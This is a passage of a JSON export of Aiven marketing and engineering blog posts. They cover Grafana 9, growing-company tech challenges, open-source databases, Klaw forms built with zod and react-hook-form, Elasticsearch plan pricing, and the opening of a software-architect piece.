Configuration”.\n\n#### Starred dashboards\nEasier access to your favorite dashboard straight from the navigation. This feature is enabled in Aiven for Grafana by default.\n\n## Breaking changes\nSome of the changes to Grafana 9 can break builds. Take a look at [the full list of Grafana 9 changes](https://github.com/grafana/grafana/blob/main/CHANGELOG.md#900-2022-06-10) to find potential problem areas.\n\n## Upgrade your Aiven for Grafana\nGrafana 9 is available in the Aiven Console, and we have provided a safe upgrade path from Grafana 8. You can either upgrade your Aiven for Grafana manually, or wait for the next scheduled update. \n\nIf you’re still looking for a great managed Grafana service, check out our [Aiven for Grafana product page](https://aiven.io/grafana)! \n\n\n----\n\nDaily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds. If you just want to stay up to date with our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"9cf78f373244","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"2c8314b7aa5a","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-20T11:07:00.000Z","related":[{"_key":"a2cd3c9baa51","_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"},{"_key":"0171fc2b1a57","_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/strengthen-your-monitoring-game-with-grafana-9"},"subtitle":"Aiven now offers Grafana® 9 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","title":"Strengthen your monitoring game with Grafana® 9"} {"__i18n_lang":"en","_createdAt":"2022-11-24T08:39:03Z","_id":"000de593-35b7-4375-b2d9-400d7b9a043e","_rev":"ejVwHgKe5k9eDWbchuS2Lc","_type":"post","_updatedAt":"2024-07-11T13:20:08Z","authors":[{"_key":"9627b1e3076b","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"Generating more revenue, bringing in more customers, and growing fast are the key accomplishments of a successful company. But those accomplishments also represent a _ton_ of challenges to you and your teams. Challenges like the extra pressure to make sure the technology meets the increasing needs of an ever-growing pool of customers and similarly expanding internal teams.\n\nBeing in charge of developing that technology, it's up to the tech leaders (the CTO, CIO, Head of Engineering) to be at the top of their game and address these growing pains.\n\nIn this blog post, we’ll look at:\n\n- [The challenge of attracting and retaining developer and engineer talent](#keeping-your-valuable-developers-happy)\n- [The need to ensure high development productivity and fast time-to-market](#ensuring-high-development-productivity-and-fast-time-to-market-for-your-products)\n- [The problem with building scalable processes and workflows](#scaling-up-your-processes-and-workflows)\n- [The difficulty of ensuring a future proof platform that grows with your needs](#growing-your-tech-stack-and-data-infra)\n- [Cybersecurity threats and data privacy concerns](#cybersecurity-and-privacy-concerns)\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=solving-5-challenges-tech-leaders-face-in-fast-growing-companies\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Keeping your valuable developers happy\nA happy developer is a productive developer. An _unhappy_ developer is getting ready to move on. When your company is under pressure to grow fast, it also adds pressure to the developers - to deliver applications that much faster, while simultaneously taking care of the work that comes with scaling up.\n\nThat’s right - your developers want to be productive, but they can be held back by legacy systems or admin chores like database maintenance, and those tasks only become more consuming as your company grows. Not to mention all the confusion of changes in teams and processes that can also happen. And just like that, your developers are no longer happy - and you _know_ good developers are hard to find.\n\n### Some solutions a tech leader might consider\n\n- Focusing on **developer experience** to set your company apart from the rest and to attract and retain talent; a workplace where developers are allowed to thrive, and do the work they love, is a tempting prospect\n- **Automating** away the mundane chores that waste your devs’ skills, so they can focus on developing and delivering applications that bring your company competitive advantages, embracing **managed services** to enable automation \n- Investing in easy-to-use self-service **infrastructure tooling**\n- Exploring modern **open source technologies**\n\n## Ensuring high development productivity and fast time-to-market for your products \nSustaining a growing company in good health means bringing in more customers. And that means _pressure_: pressure to keep current customers happy, and new customers impressed. This is a very closely intertwined concept with the previous one about keeping your developers and engineers happy and productive—it’s very important to keep all of these critical contributors happy at every step. \n\nThe ability to continuously develop your product to ensure it delights the customer is critical to customer satisfaction and scalable growth. Whether it’s adding new and useful features, improving your user experience, or just getting your product on shelves a step ahead of the competition—all of these developments pose challenges of their own.\n\n### The headaches (and their remedies)\nIn a competitive field, getting your offering out there in front of customers (and ahead of your competition) is critical. You don’t want to be the tech company with the product-in-development that customers get tired of waiting for, because we all know what happens then.\n\nWith this challenge in mind, it’s _vital_ to maximize development velocity by enabling your developers to focus on actual _development_, not on infrastructure management. Adopt **product thinking** for internal technical platforms. This will serve the dual purpose of keeping the devs happy, and also providing enhancements to your deliverables like reliability and security—things that keep the customer on board.\n\nIf you foster a professional culture where team members feel safe to **experiment** and are encouraged to **innovate**, your productivity and delivery headaches will dissipate. If you enable collaboration and communication and eliminate inefficient silo structures in your business areas, efficiency is your reward.\n\n## Scaling up your processes and workflows\nFast growth means your company might need to:\n\n- Hire more engineers to build more applications\n- Build new teams to support new business areas\n- Acquire more compute and storage capacity to handle increased load and data volumes\n\nAs a tech leader you’ll need to look at logics and processes to help your new and growing teams work together, and consider new tools to manage all the additional people and data. It can very rapidly turn into an unmanageable nightmare.\n\n### You might consider...\n\n- Setting aside time to **review your existing processes** and workflows with key stakeholders, and evaluating if those practices still support a new team structure with a bigger tech stack - if not, time to change!\n- Things change fast in fast growing companies, so keep an eye on processes and new bottlenecks that may appear - **observability** is the key\n- [Automating the tasks](https://aiven.io/blog/5-reasons-to-automate-your-data-infrastructure) related to maintaining your data infrastructure - when it comes to scaling, **more automation = less engineering time needed** for maintenance tasks, and more time for application development\n\n## Growing your tech stack and data infra\nAs your company grows, you may find that the tech stack and data infrastructure setup you have today no longer meets your needs. You wouldn't want to spend time (and energy) every year, or even every few months, looking for a new tool from a new provider to keep the old cogs turning. And platform and architecture changes are lengthy and costly projects - that don’t create visible customer value.\n\n### Planning, planning, planning\n\nTry to plan ahead as much as possible. How does your tech setup support your business needs today, and how well is it likely to support your business growth projection for the next year - or more?\n\nLet’s say you need to change from batch to real time data streaming now, but maybe next year you’ll need to add a real time data _processing_ layer on top of it as well. These are the sorts of things you need to consider. But how can you know this? And how do you prepare for it?\n\n- Getting insights from experts in the field is always a good idea! Their expertise and experiences are a valuable and freely-available resource, just waiting for you to apply them to your situation. In Aiven’s case, we’re _thoroughly_ qualified when it comes to open source data infrastructure, as we’ve worked with thousands of fast growing companies. Planning ahead and **investing in a scalable infrastructure** is critical.\n- You also need to **prevent costs from skyrocketing** as your scale increases. Pay _close_ attention to those serverless, usage-based pricing models. They may provide lucrative pricing for low-usage scenarios, but turn out to be _radically_ expensive in other scenarios. Their costs are often very hard to predict, too.\n- Fast growth often comes with a huge increase in your data volumes, and the cost to store and process that data can increase exponentially. You want to ensure your profitability, _without_ driving customers away with your bills.\n- **Avoid vendor lock-in**. You want to be able to easily onboard new tools from new suppliers that meet your future needs, and it makes no sense to keep on paying for tools that don't serve your business anymore just because you’re tied up in a long contractual notice period.\n- Last but not least, **integrations** are essential to [ease of scalability](https://aiven.io/blog/your-cloud-platform-isnt-future-proof-without-an-api). Whenever you go looking for a new addition to your tech stack, take a little extra time to research how easy it is to integrate that tool into your existing setup.\n\n## Cybersecurity and privacy concerns\nAs your company scales up, the attention spent on cybersecurity and data privacy can increase exponentially (just like your storage and processing costs, and for basically the same reason). More growth means more data, new systems to handle that data, new suppliers, new people … all these new moving parts, and checking their compliance to cybersecurity and data privacy is an easy step to overlook.\n\nAnd hackers and other nefarious individuals are always on the lookout for vulnerabilities, and the opportunity to breach your security infrastructure.\n\n### Tech leader solutions to the data security challenge\n\n- **Security-by-design, not as an afterthought**\n Security-by-design is a business philosophy in which security is considered and built into the system at every layer, starting with a robust architecture design. This means that before you add any new tool or new structure to your existing system, think about all the potential areas that are vulnerable to hackers. List the people who’ll handle the data, and make sure they have the necessary training.\n- **A holistic view of security**\n And not only in your own approach to your company’s data. You should expect the same of your employees, subcontractors, partners, and managed service providers.\n- **The extra mile**\n Compliance certifications are a good starting point, but they don’t _guarantee_ security. There are a lot of [other factors to consider](https://aiven.io/blog/data-security-compliance-in-the-cloud). Like, [_a lot_ a lot](https://aiven.io/blog/4-key-risks-in-digital-data-transformation). You might also want to think about:\n - Performing **security awareness campaigns** or **employee education courses**\n - Conducting regular **security testing**; hire white-hat hackers to try to breach your system and identify your vulnerabilities\n - Practicing **security incident response processes**—they’re like fire drills, but for security\n\n## Is this you? How can managed data help?\nWe’ve seen a lot of pain points here, and a whole lot of suggestions about what you as a tech leader can do to _remove_ those obstacles for your fast-growing company. Your time is limited and when possible, it’s important to delegate actions so you can focus on the things that drive your business forward. \n\nThe good news is, by taking a managed data platform into use you can outsource a lot of these vital steps. Want to know how a managed data platform like Aiven can ease your growing pains and fuel your company?\n\n- [Learn more about the Aiven platform](https://aiven.io/case-studies)\n- [Check out our Aiven solutions](https://aiven.io/solutions)\n- If you have questions and want to discuss with one of our friendly experts, [book a call with us!](https://calendly.com/intro-to-aiven/demo-aiven-platform-for-fast-growing-companies)\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/293851558f263b685d33c810e52bfc8297526380-1567x844.png)\n\n----\n\n::banner[We’ve got you covered.]{ctaText=\"Head to Aiven Console to sign up for a free trial!\" ctaLink=\"https://go.aiven.io/Trial\" title=\"So... looking for a managed data platform?\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-06636d127c1e9203c338940c19329655c2f61018-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T12:21:05.374Z","related":[{"_key":"2ca60a3b17ce","_ref":"b5c7cf6e-390e-40c3-a19b-003194cb505f","_type":"reference"},{"_key":"9ceafa8f1b75","_ref":"d8f581eb-471c-439e-a87b-b7596812f19d","_type":"reference"},{"_key":"fdee073f15e3","_ref":"6lGKFmwwPY4X8RmqIKf7tn","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/solving-5-challenges-tech-leaders-face-in-fast-growing-companies"},"subtitle":"Is your company experiencing growing pains? It happens. Tech leaders in fast-scaling companies encounter some very specific challenges. Read more to find out.","title":"Solving 5 challenges tech leaders face in fast-growing companies"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4lLkmyrsLLZ2asRfGakbUs","_rev":"neae7oL4y1FotDvvRKLiQT","_type":"post","_updatedAt":"2024-07-11T09:12:28Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Much has been written about [open source](https://en.wikipedia.org/wiki/Open_source \"Link to Wikipedia's Open source article\") versus proprietary software, and if you’ve found your way to the [Aiven blog](https://aiven.io/blog \"Aiven blog main page\") you probably know the basics. But do you want to know why you should definitely go open source for your next database solution? Read what Aiven’s founders Heikki Nousiainen and Oskari Saarenmaa have to say about why open source is cheaper, safer, and more feature-rich than proprietary alternatives. \n## Hundreds of thousands of developers can’t be wrong\nIn general, it is agreed that open source software offers better security and higher quality than proprietary alternatives. This is simply due to the vast size of the community. Someone’s eyeballs are always on the code, seeking and destroying bugs and vulnerabilities. \n\nThe same applies for getting help with your implementation. You’re not limited to the Help Desk of a single company. Instead, you have access to the global community of developers and the FAQs, tutorials, message board replies and add-on bits and pieces they’ve produced.\n\nBut there’s one more advantage that the large pool of makers brings to the table. “As part of the open source community, you get access to innovation,” says Aiven’s CTO Heikki Nousiainen. “The community continually develops cutting edge features and functionality.” You can incorporate them into your systems as soon as they’re mature. Unlike proprietary software, open source elements play nice with each other, too. \n\n“You can use the latest features with your existing data and technologies, instead of having to watch from the sidelines as the world evolves,” points out Oskari Saarenmaa, Aiven’s CEO.\n## Buy, don’t lease\nWith open source software, you’re not paying licence fees, and that’s a bigger deal than you may realise. Firstly, any money you throw at your open source systems is an investment in your own company, rather than you paying to bolster another company’s business. \n\nSecondly, you’re free to try out the system in full before committing to it financially instead of fooling around with demo versions. You’ll have a better understanding of the actual benefits and challenges before paying a vendor for a product that might turn out not to live up to its sales pitch.\n\nBut the third point is what really takes the cake: if your business grows and you need to scale up, with open source software you can just spin up another instance. No increase in expenditure (except maybe some hardware), no tedious reworking of licence packages, just software up and running.\n\n“With open source, you have the freedom to deploy any number of database instances for production, development or testing as needed,” says Nousiainen. Your business has the ability to react quickly to changes, and software will never be the element holding back your growth.\n## Your data should be yours\nAiven provides database services based on open software, and that’s because we firmly believe that, especially for business-critical data, open source is the way to go. Interoperability, large support base, and easy scalability mean that your data will never be stuck in the labyrinth of a proprietary system that your company has outgrown.\n\nAccording to Nousiainen, “The open source model guarantees users continued access and the ability to process their own data, no matter what. They’ll never be locked in to a single technology vendor.”\n\n“With open source solutions, your data is always yours,” adds Saarenmaa. “It’s not locked into someone else’s business model.”\n## Wrapping up\nAt Aiven, we don’t root for open source databases because we sell open source database services. Instead, [we do open source](https://github.com/aiven \"Link to Aiven's GitHub page\") because we genuinely believe that it’s the best way to make sure your data remains usable no matter what and your business is free to scale up when you need for that to happen.\n\nIf you are shopping for a database solution, you really should primarily be looking at open source solutions in general if you want to stay agile and retain full control of your business-critical data. But to take full advantage of an open source architecture, why not have a look at managed open source solutions? We’re going to be covering the benefits of managed services in a future blog post, but in the meantime you could do worse than [sign up for Aiven's free trial](https://console.aiven.io/signup \"Aiven free trial signup link\") to see open source databases in action. \n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844-png","_type":"reference"}},"publishedAt":"2020-11-30T00:00:00.000Z","seo":{"metaDescription":"Read why Aiven’s top people think the open source road is the path to success, especially for the data your business depends on.","metaImage":{"alt":"","asset":{"_ref":"image-49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844-png","_type":"reference"}},"metaTitle":"Why you should \u003c3 open source databases"},"slug":{"_type":"slug","current":"/blog/why-you-should-love-open-source-databases"},"subtitle":"Read why Aiven’s top people think the open source road is the path to success, especially for the data your business depends on.","title":"Why you should \u003c3 open source databases"} {"__i18n_lang":"en","_createdAt":"2023-07-21T11:16:29Z","_id":"02e324d3-12f2-4b11-aec3-84b2b6859fbc","_rev":"E2EqFgH2t2FE0P1F1sYZlx","_type":"post","_updatedAt":"2024-02-27T15:22:03Z","authors":[{"_key":"4181321e0901","_ref":"55a0d2a7-8172-4540-9346-a96888a8feae","_type":"reference"}],"body":"A few months back, Klaw started a rewrite of its front-end, migrating from Angular 1 to React. It has been an exhilarating time, not least of which because there is such a wide variety of great tools to use in the front-end world of today. One of the first decisions we had to make was: what do we do about forms?\n\n## It’s all about forms\n\n[Klaw](https://klaw-project.io) is a governance tool for Apache Kafka® topics. Its objective is to provide a safety layer around all the operations on your clusters, by applying the four eyes principle: any operation must be approved by at least two people. So, instead of directly firing an operation, your workflow becomes about creating a request for the operation, and then relying on other members of your team to review and approve it before it is enacted. A little like working with source control and code review!\n\nKlaw is therefore about creating requests. Requests to create, delete and promote topics, connectors, schemas and subscriptions. This means that Klaw has many forms, one for each type of operation a user may wish to enact, all of them tailored to make the user’s life easier by implementing strong validation. And because Klaw is an open source project, all of them need to be extensible for future features and all of them need to be easily understandable for anyone wanting to contribute.\n\nWe therefore need tools to create forms which are:\n\n- **Reliable:** as the driver for the core features of Klaw, we need strict type safety and solid validation capabilities.\n- **Composable:** because of the complexity of some of our forms, we need simple building blocks allowing us to build freely.\n- **Delightful:** users and developers will spend a lot of time with our forms. It better be a good time!\n\nThankfully, because the new Klaw front-end uses TypeScript, we have access to a powerful duo: `zod` and `react-hook-form`.\n\n## What is `zod`?\n\n[`zod`](https://zod.dev/?id=introduction) is a is a \"TypeScript-first schema declaration and validation library.\" \n\n\n`zod` is a library of primitives that allow developers to construct a representation of an object (a “schema”), and infer TypeScript types from it. It also provides tools to validate the values stored by a given object against such a schema.\n\nIt has many applications, but it is especially well-suited for form validation, and the creators of `react-hook-form` are well aware of it.\n\n## What is `react-hook-form`?\n\n[`react-hook-form`](https://react-hook-form.com/) provides \"performant, flexible and extensible forms with easy-to-use validation.\"\n\n`react-hook-form` is a form library that defaults to the [uncontrolled components](https://react.dev/reference/react-dom/components/input#controlling-an-input-with-a-state-variable) approach and follows HTML standards for form creation. Using `react-hook-form`, forms are accessible because of adherence to the HTML standard, and the library provides a familiar API. It is however very permissive, with a flexible and extensible hooks toolbox, including support for controlled inputs. It allows developers to use its APIs in any way they see fit, with strong TypeScript support.\n\nThis is significant for us in many ways:\n\n- It makes it easy to write composable building blocks for our forms\n- We can freely choose if input components need to be controlled or uncontrolled\n- And most importantly, we can use `zod` as our validation tool by leveraging the [resolver API](https://react-hook-form.com/api/useform/#resolver).\n\n## How we use them\n\nThe Klaw team decided to split the responsibilities of `react-hook-form` and `zod` into different files, and bring them together when we want to render a form.\n\n### `react-hook-form`: exports building blocks to `Form.tsx`\n\n`Form.tsx` defines and exports all the necessary blocks needed to build a form with `react-hook-form`, with the integration of `zod` for validation taken into account. We use this approach internally when building the [Aiven Console](https://console.aiven.io), and implemented it in Klaw as well for the express purpose of encapsulating patterns which may otherwise lead to inconsistencies. For example, when should the validation run: should it be on change, on touch, on blur? This decision is made once in `Form.tsx`, and applies to all forms in the application. This opinionated approach allows for a straightforward developer experience by providing a single way to build a form. \n\n### The blueprints: `useForm`\n\n`useForm` [is how we define which values our form holds, and how we validate those values](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L70-L81). We choose to wrap `react-hook-form`’s native `useForm` in our own custom hook. This allows us to provide more meaningful naming for its different parameters (e.g. schema instead of resolver, for example), and to set default values we want shared across all forms (e.g. validation `onTouched`). It returns an object holding the values and methods we will need for form handling and validation, typed according to the schema we passed it. \n\n\n### The foundations: `Form`\n\n`Form` [holds our form’s DOM structure](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L90-L107). It is a simple component returning an HTML form element wrapped in `react-hook-form`’s `FormProvider`. The `FormProvider` will receive the values from the object returned from `useForm` as props.\n\n## The bricks: input components\n\nWe define a variety of input components to express all the different kinds of values and user experiences we wish for in our forms. They will be rendered as children to a Form component. They are all registered to their parent’s form by calling the `useFormContext` hook, and using its return value to register themselves.\n\n- [Simple inputs are uncontrolled](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L148-L176). They are registered to their parent form by [calling `register` method with their `name`](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L159).\n- More complex inputs are [wrapped in a `react-hook-form` `Controller` component](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L329-L380). They are registered to their parent by passing the `control` value from the form context to the `Controller` as the `control` prop.\n\n## `zod`: defining a safety net with schemas and validation\n\nBecause we use `zod` to define the shape, the types and the validation of each of our forms, we co-locate those as close to the relevant form is defined, usually in a [`form-schemas` folder](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/schema-request/form-schemas). `TopicSchema.tsx` renders the form, using the schema and type defined in `topic-schema-request-form.ts`. \n\n### The schema and its inferred type\n\nOur form schemas usually are objects holding a series of key-value pairs. Each key is the name of the form field, and each value is its type., `zod` allows us to infer a TypeScript type from this schema with the `infer` method. \n\n![an animated gif of a code environment. The cursor rolls over an object, topicRequestSchema, and displays a modal window showing that the IDE can infer its type.](https://cdn.sanity.io/images/sczeoy4w/production/c508127fbdc5d895f26a4951e8440386d43f8f15-860x404.gif)\n\n### Validation \n\nValidation is done as an integral part of the schema definition. It is extremely flexible, and can be done in different ways, depending on the rules needed and their complexity. \n\nFor simple validation, `zod` provides a series of methods, , like `.min`, `.max`, `.optional`, `.required`, which can be appended to each schema value. They always take a second parameter to specify the error message which should be dispatched.\n\n![a screenshot of a code environment showing the .min and .max methods from zod. Both are implemented with error messages](https://cdn.sanity.io/images/sczeoy4w/production/0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5-1366x214.png)\n\nFor more complex cases for example when a value relies on knowing the value of another field, `zod` provides the `refine` and `superRefine` methods. These methods take a function as an argument, and the function can contain custom logic to handle these specific cases. For example, we can ensure that the `replicationFactor` value can never be higher than the `maxReplicatioFactor` value when creating a Topic request in Klaw. We then use `addIssue` to craft the exact kind of error we want to dispatch in this case.\n\n![an image of a code environment showing a more complex validation case with zod's refine and superRefine methods. Calling superRefine requires that you define the refinement itself in another method, as described above.](https://cdn.sanity.io/images/sczeoy4w/production/99cc583f93cb3ab87a14e743e57907a3434eecd9-1722x1566.png)\n\n## Together at last: rendering a form\n\nWe now have:\nForm and input components we can freely compose\nForm schemas, type and validation\n\n\nAnd it’s time to use them together to render the UI we want for our users! This is how we do it: \n\n1. Import `useForm`, `Form`, and the necessary inputs from `Form.tsx`\n2. Import the schema and the inferred type from where they are defined\n3. Call `useForm` with the inferred type as a generic type argument, and pass it the schema (and optional default values)\n4. Pass the returned values of `useForm` as props to the `Form` component\n5. Render the desired inputs as children of `Form`, passing them the `name` prop corresponding to the correct field in the form schema.\n\nConceptually, it looks like this:\n\n```tsx\nreact-hook-form\nzod\nreact-hook-form + zod\n\n// NameForm.tsx\n\nimport { useForm, Form, TextInput } from \"src/app/components/Form\"\nimport { formSchema, FormSchema } from \"src/app/components/name-form.ts\"\n\n// …\n\n\nconst form = useForm\u003cFormSchema\u003e({\n schema: formSchema, \n defaultValues,\n});\n\n\n\u003cForm\n {...form}\n\u003e\n \u003cTextInput\u003cFormSchema\u003e name={'name-in-schema-type'} /\u003e -\u003e only names in FormSchema allowed as name for TextInput\n\u003c/Form\u003e\n\n```\n\nWe can now rest easy, knowing that we have achieved our objectives. Our forms are:\n\n- Reliable: they are typed end to end, with robust validation\n- Composable: building a form is entirely about fitting our building blocks together\n- Delightful: being able to create form with confidence and speed is a perpetual delight, as is the speed of delivery it allows our team!\n\n\n## Shortcomings\n\nBut of course, every single tech choice has trade-offs, and this is no exception.\n\n**Mixing uncontrolled and controlled components:**\n\nMany of our more complex input components need to be controlled (by wrapping in a `Controller`, or by setting their `value` prop explicitly). This goes against the “HTML standard” core philosophy of the library, and adds complexity. This complexity naturally leads to bugs, [such as this one](https://github.com/aiven/klaw/pull/1045).\n\n**A little bit of boilerplate:**\n\nAdding a new input type to `Form.tsx`, writing schemas and validation rules for every form, remembering to use the proper syntax for typing precisely every input, this all may feel tedious. You may yearn for the sweet pleasure of colocation, as opposed to the strong separation of concern this approach enforces. And you may be right! This is not a miracle solution, only a solution which may or may not fit your purpose.\n\n**There is no escaping complex UIs:**\n\nAs simple as our approaches and building blocks are, the UIs we build are sometimes unavoidably complex. This is the case for our ACL forms, which are extremely dynamic, with a varying amount of fields, which may or may not be enabled, depending on a large number of factors. This leads to some [interesting schemas and validation](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/form-schemas), [a host of custom field](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/fields)s specifically designed for these forms, and [a test file that is 3000+ lines long](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/TopicAclRequest.test.tsx).\n\n## Contribute to Klaw\n\nFortunately, even if we can’t escape those shortcomings, we can mitigate it by iterating, and improving! [Pick up the refactoring issue if you want to contribute](https://github.com/aiven/klaw/issues/1142)! We welcome every PR, so please take a look at our [good first issues](https://github.com/aiven/klaw/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) if your interest has been piqued by this post. Be sure to look over our [contribution guidelines beforehand](https://github.com/aiven/klaw/blob/main/CONTRIBUTING.md)!","categories":[{"_key":"b3b782a2ba46","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"},{"_key":"d084edc3152d","_ref":"25b1be80-adf7-4a4b-a97f-f161d43fd66b","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Typescript, react-hook-form, zod: blissful forms for Klaw","asset":{"_ref":"image-563ae1cc08cb80531e449ed52a55b6db1537329b-1567x844-png","_type":"reference"}},"publishedAt":"2023-08-08T07:00:00.000Z","related":[{"_key":"b2be97db857d","_ref":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_type":"reference"},{"_key":"6d62ea5b47b9","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/typescript-react-hook-form-zod"},"subtitle":"How Aiven open source engineers create forms to create reliable, composable and delightful web forms","title":"TypeScript, react-hook-form, zod: blissful forms"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"77CyFNcexbcB3RIjQr6rNM","_rev":"lhvtNBOlLYH5KiQFQ8YM9N","_type":"post","_updatedAt":"2024-01-29T15:38:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"We are happy to announce that we’ve expanded the capacity of our standard [Aiven for Elasticsearch](https://aiven.io/opensearch) plans while lowering the costs across the board — this means two things:\n\n__1. Our higher node count plans__ means that you can now handle even larger use cases without having to request custom plans. Starting from Premium-15x and up, our 15-Node plans include 5250 GB of storage while our Premium-30x-32 plan goes up to 21000 GB.\n\n__2. We’ve reduced pricing__ for all Premium plans, with cost reductions of up to 56%. \n\nFor complete information on the capabilities and features of our different managed Elasticsearch plan sizes, check out the [Aiven for Elasticsearch plan comparison table](/opensearch#plan-comparison).\n\n## Wrapping up\n\nWith these enhancements, enterprises can now __manage larger Elasticsearch workloads out of the box and at lower costs__. Already using Elasticsearch for Aiven and need a larger plan? Launch or upgrade to your preferred plan size via the [Aiven Console, API, CLI, or Terraform](https://aiven.io/docs/tools/api).\n\nNot an Aiven customer and would like to test one of our managed Elasticsearch plans? [Sign up for a no obligation, 30-day trial](https://console.aiven.io/signup) and launch your first instance now. In the meantime, stay up-to-date by following our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds, and following us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405-png","_type":"reference"}},"publishedAt":"2020-03-26T00:00:00.000Z","seo":{"metaDescription":"You can now run larger Elasticsearch workloads out of the box at lower cost. Read this post to find out more about our new plan sizes and pricing.","metaImage":{"alt":"","asset":{"_ref":"image-e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405-png","_type":"reference"}},"metaTitle":"Aiven expands Elasticsearch plan sizes and lowers costs"},"slug":{"_type":"slug","current":"/blog/larger-aiven-for-elasticsearch-plans-available-at-lower-cost"},"subtitle":"You can now run larger Elasticsearch workloads out of the box at lower cost. Read this post to find out more about our new plan sizes and pricing.","title":"Aiven expands Elasticsearch plan sizes and lowers costs"} {"__i18n_lang":"en","_createdAt":"2022-12-14T09:21:37Z","_id":"c6ce98ee-1e41-4e2b-878d-6702e1226dd3","_rev":"neae7oL4y1FotDvvR1z4MV","_type":"post","_updatedAt":"2024-07-09T13:04:14Z","authors":[{"_key":"a6e60f4fdfe1","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"},{"_key":"8d136193f3ca","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"## What is a software architect?\nIf you ask ten people what an event streaming platform is, you’re likely to get ten different answers (not including “I don’t know” and “how did you get in here?”). For the purposes of this blog post, though, an event streaming platform is *any infrastructure or technology that event-driven apps run on or integrate with, to provide data updates at short intervals*.\n\nThis definition covers a whole range of different alternatives in terms of infrastructure - what kind of tech you can adopt, from bare-bones DIY to abstract architectures where insights present themselves as if by magic from your published events.\n\nWe’re not here to make that decision for you. We’re here to help you make the decision yourself, and understand the risks and factors involved. You don’t need all the answers, but you do need to know what questions to ask. And *that's* a software architect's job in a nutshell.\n\nAt their best, a software architect has:\n\n- Technical domain expertise at app, industry, and infrastructure levels\n- Experience, from failures or successes, in solving problems\n- Unconventional curiosity about how different systems interact, different to the developer’s laser focus on individual cases\n\nIn this post, we’re going to learn The Way of the Software Architect, and how 